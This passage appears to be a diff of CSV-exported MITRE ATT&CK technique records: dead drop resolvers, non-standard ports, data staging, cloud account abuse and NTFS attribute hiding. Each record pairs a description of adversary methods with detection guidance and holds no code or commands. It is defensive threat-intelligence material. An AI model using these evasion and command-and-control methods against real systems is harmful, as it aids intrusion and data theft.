Understanding, Denying and Detecting. Retrieved April 20, 2016.', url='https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf')]",attack-pattern--be055942-6e63-49d7-9fa1-9cb7d8a8f3f4,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='command-and-control')]",2020-03-26 23:15:47.861000+00:00,Bidirectional Communication,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content', 'Network Traffic: Network Connection Creation']",,,,,"Host data that can relate unknown or suspicious process activity using a network connection is important to supplement any existing indicators of compromise based on malware command and control signatures and infrastructure or the presence of strong encryption. Packet capture analysis will require SSL/TLS inspection if data is encrypted. Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). User behavior monitoring may help to detect abnormal patterns of activity.(Citation: University of Birmingham C2)",,,,,True,,,['User'],"['Linux', 'macOS', 'Windows']",,,,1.0 -2020-03-14 22:24:21.841000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may use an existing, legitimate external Web service to host information that points to additional command and control (C2) infrastructure. Adversaries may post content, known as a dead drop resolver, on Web services with embedded (and often obfuscated/encoded) domains or IP addresses. Once infected, victims will reach out to and be redirected by these resolvers. +Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection. ","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'command-and-control'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1102/002', 'external_id': 'T1102.002'}, {'source_name': 'University of Birmingham C2', 'description': 'Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.', 'url': 'https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content', 'Network Traffic: Network Connection Creation']",,"Host data that can relate unknown or suspicious process activity using a network connection is important to supplement any existing indicators of compromise based on malware command and control signatures and infrastructure or the presence of strong encryption. Packet capture analysis will require SSL/TLS inspection if data is encrypted. Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). User behavior monitoring may help to detect abnormal patterns of activity.(Citation: University of Birmingham C2)",True,['User'],"['Linux', 'macOS', 'Windows']",1.0,,,,,,, +attack-pattern,attack-pattern--f7827069-0bf2-4764-af4f-23fae0d181b7,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-03-14T22:24:21.841Z,2020-03-26T23:12:30.499Z,Dead Drop Resolver,"Adversaries may use an existing, legitimate external Web service to host information that points to additional command and control (C2) infrastructure. Adversaries may post content, known as a dead drop resolver, on Web services with embedded (and often obfuscated/encoded) domains or IP addresses. Once infected, victims will reach out to and be redirected by these resolvers. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection. -Use of a dead drop resolver may also protect back-end C2 infrastructure from discovery through malware binary analysis while also enabling operational resiliency (since this infrastructure may be dynamically changed).","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1102/001', external_id='T1102.001'), ExternalReference(source_name='University of Birmingham C2', description='Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.', url='https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf')]",attack-pattern--f7827069-0bf2-4764-af4f-23fae0d181b7,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='command-and-control')]",2020-03-26 23:12:30.499000+00:00,Dead Drop Resolver,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content']",,,,,Host data that can relate unknown or suspicious process activity using a network connection is important to supplement any existing indicators of compromise based on malware command and control signatures and infrastructure or the presence of strong encryption. Packet capture analysis will require SSL/TLS inspection if data is encrypted. User behavior monitoring may help to detect abnormal patterns of activity.(Citation: University of Birmingham C2),,,,,True,,,['User'],"['Linux', 'macOS', 'Windows']",,,,1.0 -2020-03-14 18:18:32.443000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may communicate using a protocol and port paring that are typically not associated. For example, HTTPS over port 8088(Citation: Symantec Elfin Mar 2019) or port 587(Citation: Fortinet Agent Tesla April 2018) as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1571', external_id='T1571'), ExternalReference(source_name='Symantec Elfin Mar 2019', description='Security Response attack Investigation Team. (2019, March 27). Elfin: Relentless Espionage Group Targets Multiple Organizations in Saudi Arabia and U.S.. Retrieved April 10, 2019.', url='https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage'), ExternalReference(source_name='Fortinet Agent Tesla April 2018', description='Zhang, X. (2018, April 05). Analysis of New Agent Tesla Spyware Variant. Retrieved November 5, 2018.', url='https://www.fortinet.com/blog/threat-research/analysis-of-new-agent-tesla-spyware-variant.html'), ExternalReference(source_name='University of Birmingham C2', description='Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.', url='https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf')]",attack-pattern--b18eae87-b469-4e14-b454-b171b416bc18,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='command-and-control')]",2020-03-26 22:02:25.221000+00:00,Non-Standard Port,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Content']",,,,,"Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious.(Citation: University of Birmingham C2)",,,,,False,,,,"['Linux', 'macOS', 'Windows']",,,,1.0 -2020-03-13 21:14:58.206000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may stage data collected from multiple systems in a central location or directory on one system prior to Exfiltration. Data may be kept in separate files or combined into one file through techniques such as [Archive Collected Data](https://attack.mitre.org/techniques/T1560). Interactive command shells may be used, and common functionality within [cmd](https://attack.mitre.org/software/S0106) and bash may be used to copy data into a staging location. +Use of a dead drop resolver may also protect back-end C2 infrastructure from discovery through malware binary analysis while also enabling operational resiliency (since this infrastructure may be dynamically changed).","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'command-and-control'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1102/001', 'external_id': 'T1102.001'}, {'source_name': 'University of Birmingham C2', 'description': 'Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.', 'url': 'https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content']",,Host data that can relate unknown or suspicious process activity using a network connection is important to supplement any existing indicators of compromise based on malware command and control signatures and infrastructure or the presence of strong encryption. Packet capture analysis will require SSL/TLS inspection if data is encrypted. User behavior monitoring may help to detect abnormal patterns of activity.(Citation: University of Birmingham C2),True,['User'],"['Linux', 'macOS', 'Windows']",1.0,,,,,,, +attack-pattern,attack-pattern--b18eae87-b469-4e14-b454-b171b416bc18,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-03-14T18:18:32.443Z,2020-03-26T22:02:25.221Z,Non-Standard Port,"Adversaries may communicate using a protocol and port paring that are typically not associated. For example, HTTPS over port 8088(Citation: Symantec Elfin Mar 2019) or port 587(Citation: Fortinet Agent Tesla April 2018) as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'command-and-control'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1571', 'external_id': 'T1571'}, {'source_name': 'Symantec Elfin Mar 2019', 'description': 'Security Response attack Investigation Team. (2019, March 27). Elfin: Relentless Espionage Group Targets Multiple Organizations in Saudi Arabia and U.S.. Retrieved April 10, 2019.', 'url': 'https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage'}, {'source_name': 'Fortinet Agent Tesla April 2018', 'description': 'Zhang, X. (2018, April 05). Analysis of New Agent Tesla Spyware Variant. Retrieved November 5, 2018.', 'url': 'https://www.fortinet.com/blog/threat-research/analysis-of-new-agent-tesla-spyware-variant.html'}, {'source_name': 'University of Birmingham C2', 'description': 'Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.', 'url': 'https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Content']",,"Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious.(Citation: University of Birmingham C2)",False,,"['Linux', 'macOS', 'Windows']",1.0,,,,,,, +attack-pattern,attack-pattern--359b00ad-9425-420b-bba5-6de8d600cbc0,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-03-13T21:14:58.206Z,2021-03-08T10:33:02.019Z,Remote Data Staging,"Adversaries may stage data collected from multiple systems in a central location or directory on one system prior to Exfiltration. Data may be kept in separate files or combined into one file through techniques such as [Archive Collected Data](https://attack.mitre.org/techniques/T1560). Interactive command shells may be used, and common functionality within [cmd](https://attack.mitre.org/software/S0106) and bash may be used to copy data into a staging location. In cloud environments, adversaries may stage data within a particular instance or virtual machine before exfiltration. An adversary may [Create Cloud Instance](https://attack.mitre.org/techniques/T1578/002) and stage data in that instance.(Citation: Mandiant M-Trends 2020) -By staging data on one system prior to Exfiltration, adversaries can minimize the number of connections made to their C2 server and better evade detection.","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1074/002', external_id='T1074.002'), ExternalReference(source_name='Mandiant M-Trends 2020', description='Mandiant. (2020, February). M-Trends 2020. Retrieved April 24, 2020.', url='https://content.fireeye.com/m-trends/rpt-m-trends-2020')]",attack-pattern--359b00ad-9425-420b-bba5-6de8d600cbc0,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='collection')]",2021-03-08 10:33:02.019000+00:00,Remote Data Staging,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,['Praetorian'],"['File: File Access', 'File: File Creation', 'Command: Command Execution']",,,,,"Processes that appear to be reading files from disparate locations and writing them to the same directory or file may be an indication of data being staged, especially if they are suspected of performing encryption or compression on the files, such as 7zip, RAR, ZIP, or zlib. Monitor publicly writeable directories, central locations, and commonly used staging directories (recycle bin, temp folders, etc.) to regularly check for compressed or encrypted data that may be indicative of staging. +By staging data on one system prior to Exfiltration, adversaries can minimize the number of connections made to their C2 server and better evade detection.","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'collection'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1074/002', 'external_id': 'T1074.002'}, {'source_name': 'Mandiant M-Trends 2020', 'description': 'Mandiant. (2020, February). M-Trends 2020. Retrieved April 24, 2020.', 'url': 'https://content.fireeye.com/m-trends/rpt-m-trends-2020'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],['Praetorian'],"['File: File Access', 'File: File Creation', 'Command: Command Execution']",,"Processes that appear to be reading files from disparate locations and writing them to the same directory or file may be an indication of data being staged, especially if they are suspected of performing encryption or compression on the files, such as 7zip, RAR, ZIP, or zlib. Monitor publicly writeable directories, central locations, and commonly used staging directories (recycle bin, temp folders, etc.) to regularly check for compressed or encrypted data that may be indicative of staging. -Monitor processes and command-line arguments for actions that could be taken to collect and combine files. Remote access tools with built-in features may interact directly with the Windows API to gather and copy to a location. Data may also be acquired and staged through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).",,,,,True,,,,"['Windows', 'IaaS', 'Linux', 'macOS']",,,,1.1 -2020-03-13 21:13:10.467000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may stage collected data in a central location or directory on the local system prior to Exfiltration. Data may be kept in separate files or combined into one file through techniques such as [Archive Collected Data](https://attack.mitre.org/techniques/T1560). Interactive command shells may be used, and common functionality within [cmd](https://attack.mitre.org/software/S0106) and bash may be used to copy data into a staging location.","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1074/001', external_id='T1074.001')]",attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='collection')]",2020-05-26 19:23:54.854000+00:00,Local Data Staging,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['File: File Access', 'File: File Creation', 'Command: Command Execution']",,,,,"Processes that appear to be reading files from disparate locations and writing them to the same directory or file may be an indication of data being staged, especially if they are suspected of performing encryption or compression on the files, such as 7zip, RAR, ZIP, or zlib. Monitor publicly writeable directories, central locations, and commonly used staging directories (recycle bin, temp folders, etc.) to regularly check for compressed or encrypted data that may be indicative of staging. +Monitor processes and command-line arguments for actions that could be taken to collect and combine files. Remote access tools with built-in features may interact directly with the Windows API to gather and copy to a location. Data may also be acquired and staged through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).",True,,"['Windows', 'IaaS', 'Linux', 'macOS']",1.1,,,,,,, +attack-pattern,attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-03-13T21:13:10.467Z,2020-05-26T19:23:54.854Z,Local Data Staging,"Adversaries may stage collected data in a central location or directory on the local system prior to Exfiltration. Data may be kept in separate files or combined into one file through techniques such as [Archive Collected Data](https://attack.mitre.org/techniques/T1560). Interactive command shells may be used, and common functionality within [cmd](https://attack.mitre.org/software/S0106) and bash may be used to copy data into a staging location.","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'collection'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1074/001', 'external_id': 'T1074.001'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['File: File Access', 'File: File Creation', 'Command: Command Execution']",,"Processes that appear to be reading files from disparate locations and writing them to the same directory or file may be an indication of data being staged, especially if they are suspected of performing encryption or compression on the files, such as 7zip, RAR, ZIP, or zlib. Monitor publicly writeable directories, central locations, and commonly used staging directories (recycle bin, temp folders, etc.) to regularly check for compressed or encrypted data that may be indicative of staging. -Monitor processes and command-line arguments for actions that could be taken to collect and combine files. Remote access tools with built-in features may interact directly with the Windows API to gather and copy to a location. Data may also be acquired and staged through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).",,,,,True,,,,"['Linux', 'macOS', 'Windows']",,,,1.0 -2020-03-13 20:36:57.378000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may obtain and abuse credentials of a cloud account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Cloud accounts are those created and configured by an organization for use by users, remote support, services, or for administration of resources within a cloud service provider or SaaS application. In some cases, cloud accounts may be federated with traditional identity management system, such as Window Active Directory. (Citation: AWS Identity Federation)(Citation: Google Federating GC)(Citation: Microsoft Deploying AD Federation) +Monitor processes and command-line arguments for actions that could be taken to collect and combine files. Remote access tools with built-in features may interact directly with the Windows API to gather and copy to a location. Data may also be acquired and staged through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).",True,,"['Linux', 'macOS', 'Windows']",1.0,,,,,,, +attack-pattern,attack-pattern--f232fa7a-025c-4d43-abc7-318e81a73d65,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-03-13T20:36:57.378Z,2021-10-18T17:48:05.659Z,Cloud Accounts,"Adversaries may obtain and abuse credentials of a cloud account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Cloud accounts are those created and configured by an organization for use by users, remote support, services, or for administration of resources within a cloud service provider or SaaS application. In some cases, cloud accounts may be federated with traditional identity management system, such as Window Active Directory. (Citation: AWS Identity Federation)(Citation: Google Federating GC)(Citation: Microsoft Deploying AD Federation) -Compromised credentials for cloud accounts can be used to harvest sensitive data from online storage accounts and databases. Access to cloud accounts can also be abused to gain Initial Access to a network by abusing a [Trusted Relationship](https://attack.mitre.org/techniques/T1199). Similar to [Domain Accounts](https://attack.mitre.org/techniques/T1078/002), compromise of federated cloud accounts may allow adversaries to more easily move laterally within an environment.","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1078/004', external_id='T1078.004'), ExternalReference(source_name='AWS Identity Federation', description='Amazon. (n.d.). Identity Federation in AWS. Retrieved March 13, 2020.', url='https://aws.amazon.com/identity/federation/'), ExternalReference(source_name='Google Federating GC', description='Google. (n.d.). Federating Google Cloud with Active Directory. Retrieved March 13, 2020.', url='https://cloud.google.com/solutions/federating-gcp-with-active-directory-introduction'), ExternalReference(source_name='Microsoft Deploying AD Federation', description='Microsoft. (n.d.). Deploying Active Directory Federation Services in Azure. Retrieved March 13, 2020.', url='https://docs.microsoft.com/en-us/windows-server/identity/ad-fs/deployment/how-to-connect-fed-azure-adfs')]",attack-pattern--f232fa7a-025c-4d43-abc7-318e81a73d65,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='defense-evasion'), KillChainPhase(kill_chain_name='mitre-attack', phase_name='persistence'), KillChainPhase(kill_chain_name='mitre-attack', phase_name='privilege-escalation'), KillChainPhase(kill_chain_name='mitre-attack', phase_name='initial-access')]",2021-03-16 12:45:15.399000+00:00,Cloud Accounts,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['User Account: User Account Authentication', 'Logon Session: Logon Session Creation']",,,,,"Monitor the activity of cloud accounts to detect abnormal or malicious behavior, such as accessing information outside of the normal function of the account or account usage at atypical hours.",,,,,True,,,"['User', 'Administrator']","['Azure AD', 'Office 365', 'SaaS', 'IaaS', 'Google Workspace']",,,,1.2 -2020-03-13 20:33:00.009000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may use NTFS file attributes to hide their malicious data in order to evade detection. Every New Technology File System (NTFS) formatted partition contains a Master File Table (MFT) that maintains a record for every file/directory on the partition. (Citation: SpectorOps Host-Based Jul 2017) Within MFT entries are file attributes, (Citation: Microsoft NTFS File Attributes Aug 2010) such as Extended Attributes (EA) and Data [known as Alternate Data Streams (ADSs) when more than one Data attribute is present], that can be used to store arbitrary data (and even complete files). (Citation: SpectorOps Host-Based Jul 2017) (Citation: Microsoft File Streams) (Citation: MalwareBytes ADS July 2015) (Citation: Microsoft ADS Mar 2014) +Compromised credentials for cloud accounts can be used to harvest sensitive data from online storage accounts and databases. Access to cloud accounts can also be abused to gain Initial Access to a network by abusing a [Trusted Relationship](https://attack.mitre.org/techniques/T1199). Similar to [Domain Accounts](https://attack.mitre.org/techniques/T1078/002), compromise of federated cloud accounts may allow adversaries to more easily move laterally within an environment.","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'initial-access'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1078/004', 'external_id': 'T1078.004'}, {'source_name': 'AWS Identity Federation', 'description': 'Amazon. (n.d.). Identity Federation in AWS. Retrieved March 13, 2020.', 'url': 'https://aws.amazon.com/identity/federation/'}, {'source_name': 'Google Federating GC', 'description': 'Google. (n.d.). Federating Google Cloud with Active Directory. Retrieved March 13, 2020.', 'url': 'https://cloud.google.com/solutions/federating-gcp-with-active-directory-introduction'}, {'source_name': 'Microsoft Deploying AD Federation', 'description': 'Microsoft. (n.d.). Deploying Active Directory Federation Services in Azure. Retrieved March 13, 2020.', 'url': 'https://docs.microsoft.com/en-us/windows-server/identity/ad-fs/deployment/how-to-connect-fed-azure-adfs'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Jon Sternstein, Stern Security']","['Logon Session: Logon Session Metadata', 'User Account: User Account Authentication', 'Logon Session: Logon Session Creation']",,"Monitor the activity of cloud accounts to detect abnormal or malicious behavior, such as accessing information outside of the normal function of the account or account usage at atypical hours.",True,"['User', 'Administrator']","['Azure AD', 'Office 365', 'SaaS', 'IaaS', 'Google Workspace']",1.3,,,,,,, +attack-pattern,attack-pattern--f2857333-11d4-45bf-b064-2c28d8525be5,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-03-13T20:33:00.009Z,2020-03-29T22:46:56.308Z,NTFS File Attributes,"Adversaries may use NTFS file attributes to hide their malicious data in order to evade detection. Every New Technology File System (NTFS) formatted partition contains a Master File Table (MFT) that maintains a record for every file/directory on the partition. (Citation: SpectorOps Host-Based Jul 2017) Within MFT entries are file attributes, (Citation: Microsoft NTFS File Attributes Aug 2010) such as Extended Attributes (EA) and Data [known as Alternate Data Streams (ADSs) when more than one Data attribute is present], that can be used to store arbitrary data (and even complete files). (Citation: SpectorOps Host-Based Jul 2017) (Citation: Microsoft File Streams) (Citation: MalwareBytes ADS July 2015) (Citation: Microsoft ADS Mar 2014) -Adversaries may store malicious data or binaries in file attribute metadata instead of directly in files. This may be done to evade some defenses, such as static indicator scanning tools and anti-virus. (Citation: Journey into IR ZeroAccess NTFS EA) (Citation: MalwareBytes ADS July 2015)","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1564/004', external_id='T1564.004'), ExternalReference(source_name='SpectorOps Host-Based Jul 2017', description='Atkinson, J. (2017, July 18). Host-based Threat Modeling & Indicator Design. Retrieved March 21, 2018.', url='https://posts.specterops.io/host-based-threat-modeling-indicator-design-a9dbbb53d5ea'), ExternalReference(source_name='Microsoft NTFS File Attributes Aug 2010', description='Hughes, J. (2010, August 25). NTFS File Attributes. Retrieved March 21, 2018.', url='https://blogs.technet.microsoft.com/askcore/2010/08/25/ntfs-file-attributes/'), ExternalReference(source_name='Microsoft File Streams', description='Microsoft. (n.d.). File Streams. Retrieved December 2, 2014.', url='http://msdn.microsoft.com/en-us/library/aa364404'), ExternalReference(source_name='MalwareBytes ADS July 2015', description='Arntz, P. (2015, July 22). Introduction to Alternate Data Streams. Retrieved March 21, 2018.', url='https://blog.malwarebytes.com/101/2015/07/introduction-to-alternate-data-streams/'), ExternalReference(source_name='Microsoft ADS Mar 2014', description='Marlin, J. (2013, March 24). Alternate Data Streams in NTFS. Retrieved March 21, 2018.', url='https://blogs.technet.microsoft.com/askcore/2013/03/24/alternate-data-streams-in-ntfs/'), ExternalReference(source_name='Journey into IR ZeroAccess NTFS EA', description='Harrell, C. (2012, December 11). Extracting ZeroAccess from NTFS Extended Attributes. Retrieved June 3, 2016.', url='http://journeyintoir.blogspot.com/2012/12/extracting-zeroaccess-from-ntfs.html'), ExternalReference(source_name='Oddvar Moe ADS1 Jan 2018', description='Moe, O. (2018, January 14). Putting Data in Alternate Data Streams and How to Execute It. Retrieved June 30, 2018.', url='https://oddvar.moe/2018/01/14/putting-data-in-alternate-data-streams-and-how-to-execute-it/'), ExternalReference(source_name='Oddvar Moe ADS2 Apr 2018', description='Moe, O. (2018, April 11). Putting Data in Alternate Data Streams and How to Execute It - Part 2. Retrieved June 30, 2018.', url='https://oddvar.moe/2018/04/11/putting-data-in-alternate-data-streams-and-how-to-execute-it-part-2/'), ExternalReference(source_name='Symantec ADS May 2009', description='Pravs. (2009, May 25). What you need to know about alternate data streams in windows? Is your Data secure? Can you restore that?. Retrieved March 21, 2018.', url='https://www.symantec.com/connect/articles/what-you-need-know-about-alternate-data-streams-windows-your-data-secure-can-you-restore')]",attack-pattern--f2857333-11d4-45bf-b064-2c28d8525be5,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='defense-evasion')]",2020-03-29 22:46:56.308000+00:00,NTFS File Attributes,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,"['Oddvar Moe, @oddvarmoe', 'Red Canary']","['Process: OS API Execution', 'File: File Metadata', 'File: File Modification', 'Command: Command Execution']","['Anti-virus', 'Host forensic analysis', 'Signature-based detection']",,,,"Forensic techniques exist to identify information stored in NTFS EA. (Citation: Journey into IR ZeroAccess NTFS EA) Monitor calls to the ZwSetEaFile and ZwQueryEaFile Windows API functions as well as binaries used to interact with EA, (Citation: Oddvar Moe ADS1 Jan 2018) (Citation: Oddvar Moe ADS2 Apr 2018) and consider regularly scanning for the presence of modified information. (Citation: SpectorOps Host-Based Jul 2017) +Adversaries may store malicious data or binaries in file attribute metadata instead of directly in files. This may be done to evade some defenses, such as static indicator scanning tools and anti-virus. (Citation: Journey into IR ZeroAccess NTFS EA) (Citation: MalwareBytes ADS July 2015)","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1564/004', 'external_id': 'T1564.004'}, {'source_name': 'SpectorOps Host-Based Jul 2017', 'description': 'Atkinson, J. (2017, July 18). Host-based Threat Modeling & Indicator Design. Retrieved March 21, 2018.', 'url': 'https://posts.specterops.io/host-based-threat-modeling-indicator-design-a9dbbb53d5ea'}, {'source_name': 'Microsoft NTFS File Attributes Aug 2010', 'description': 'Hughes, J. (2010, August 25). NTFS File Attributes. Retrieved March 21, 2018.', 'url': 'https://blogs.technet.microsoft.com/askcore/2010/08/25/ntfs-file-attributes/'}, {'source_name': 'Microsoft File Streams', 'description': 'Microsoft. (n.d.). File Streams. Retrieved December 2, 2014.', 'url': 'http://msdn.microsoft.com/en-us/library/aa364404'}, {'source_name': 'MalwareBytes ADS July 2015', 'description': 'Arntz, P. (2015, July 22). Introduction to Alternate Data Streams. Retrieved March 21, 2018.', 'url': 'https://blog.malwarebytes.com/101/2015/07/introduction-to-alternate-data-streams/'}, {'source_name': 'Microsoft ADS Mar 2014', 'description': 'Marlin, J. (2013, March 24). Alternate Data Streams in NTFS. Retrieved March 21, 2018.', 'url': 'https://blogs.technet.microsoft.com/askcore/2013/03/24/alternate-data-streams-in-ntfs/'}, {'source_name': 'Journey into IR ZeroAccess NTFS EA', 'description': 'Harrell, C. (2012, December 11). Extracting ZeroAccess from NTFS Extended Attributes. Retrieved June 3, 2016.', 'url': 'http://journeyintoir.blogspot.com/2012/12/extracting-zeroaccess-from-ntfs.html'}, {'source_name': 'Oddvar Moe ADS1 Jan 2018', 'description': 'Moe, O. (2018, January 14). Putting Data in Alternate Data Streams and How to Execute It. Retrieved June 30, 2018.', 'url': 'https://oddvar.moe/2018/01/14/putting-data-in-alternate-data-streams-and-how-to-execute-it/'}, {'source_name': 'Oddvar Moe ADS2 Apr 2018', 'description': 'Moe, O. (2018, April 11). Putting Data in Alternate Data Streams and How to Execute It - Part 2. Retrieved June 30, 2018.', 'url': 'https://oddvar.moe/2018/04/11/putting-data-in-alternate-data-streams-and-how-to-execute-it-part-2/'}, {'source_name': 'Symantec ADS May 2009', 'description': 'Pravs. (2009, May 25). What you need to know about alternate data streams in windows? Is your Data secure? Can you restore that?. Retrieved March 21, 2018.', 'url': 'https://www.symantec.com/connect/articles/what-you-need-know-about-alternate-data-streams-windows-your-data-secure-can-you-restore'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Oddvar Moe, @oddvarmoe', 'Red Canary']","['Process: OS API Execution', 'File: File Metadata', 'File: File Modification', 'Command: Command Execution']","['Anti-virus', 'Host forensic analysis', 'Signature-based detection']","Forensic techniques exist to identify information stored in NTFS EA. (Citation: Journey into IR ZeroAccess NTFS EA) Monitor calls to the ZwSetEaFile and ZwQueryEaFile Windows API functions as well as binaries used to interact with EA, (Citation: Oddvar Moe ADS1 Jan 2018) (Citation: Oddvar Moe ADS2 Apr 2018) and consider regularly scanning for the presence of modified information. (Citation: SpectorOps Host-Based Jul 2017) There are many ways to create and interact with ADSs using Windows utilities. Monitor for operations (execution, copies, etc.) with file names that contain colons. This syntax (ex: file.ext:ads[.ext]) is commonly associated with ADSs. (Citation: Microsoft ADS Mar 2014) (Citation: Oddvar Moe ADS1 Jan 2018) (Citation: Oddvar Moe ADS2 Apr 2018) For a more exhaustive list of utilities that can be used to execute and create ADSs, see https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f. -The Streams tool of Sysinternals can be used to uncover files with ADSs. The dir /r command can also be used to display ADSs. (Citation: Symantec ADS May 2009) 